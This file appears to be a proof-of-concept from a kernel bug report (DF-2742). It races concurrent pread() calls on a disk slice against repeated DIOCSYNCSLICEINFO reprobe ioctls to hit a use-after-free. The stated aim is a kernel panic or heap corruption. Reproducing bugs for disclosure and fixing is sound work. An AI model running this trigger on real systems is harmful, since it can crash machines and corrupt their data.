DF-2742 / poc2742.c
/* * DF-2742 PoC -- disk_probe()/disk_invalidate() free dp->d_slice while * diskstrategy() uses it (no ds_token on the strategy path). * * reader threads : pread() /dev/vnXs1 in a tight loop -> diskstrategy() * -> dscheck(dev, bio, dp->d_slice) [subr_disk.c:1246, * no ds_token] * trigger thread : ioctl(/dev/vnX, DIOCSYNCSLICEINFO, &(int){1}) in a loop * -> DISK_DISK_REPROBE -> disk_probe() replaces * dp->d_slice and dsgone()s the old struct * [subr_disk.c:367-368, 494] -> readers touch freed heap. * * Run as root: ./poc2742 <wholedisk> <slicedevice> [seconds] * Expected on hit: kernel panic (dscheck on freed ssp / malloc corruption) * or silent corruption; success criterion is a panic signature in the * serial log mentioning dscheck/disk_probe/dsgone/malloc corruption. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/diskslice.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <time.h> static const char *slice_dev; static volatile int stop; static void * reader(void *arg) { unsigned char buf[512]; long n = 0, tot = 0; int fd = open(slice_dev, O_RDONLY); if (fd < 0) { perror("reader open"); exit(1); } while (!stop) { n = pread(fd, buf, sizeof(buf), (off_t)(tot % 512) * 512); if (n < 0) { perror("pread"); break; } tot += 1; } printf("reader %p did %ld reads\n", arg, tot); return NULL; } int main(int argc, char **argv) { pthread_t th[8]; int fd, r, secs = 60; long iters = 0; int one = 1; time_t t0; if (argc < 3) { fprintf(stderr, "usage: %s <wholedisk> <slicedevice> [secs]\n", argv[0]); return 2; } if (argc > 3) secs = atoi(argv[3]); slice_dev = argv[2]; fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open wholedisk"); return 1; } for (r = 0; r < 8; r++) pthread_create(&th[r], NULL, reader, (void *)(long)r); t0 = time(NULL); while (time(NULL) - t0 < secs) { r = ioctl(fd, DIOCSYNCSLICEINFO, &one); if (r < 0) { perror("DIOCSYNCSLICEINFO"); break; } iters++; } stop = 1; for (r = 0; r < 8; r++) pthread_join(th[r], NULL); printf("did %ld forced reprobes over %ds with 8 concurrent readers\n", iters, secs); return 0; } |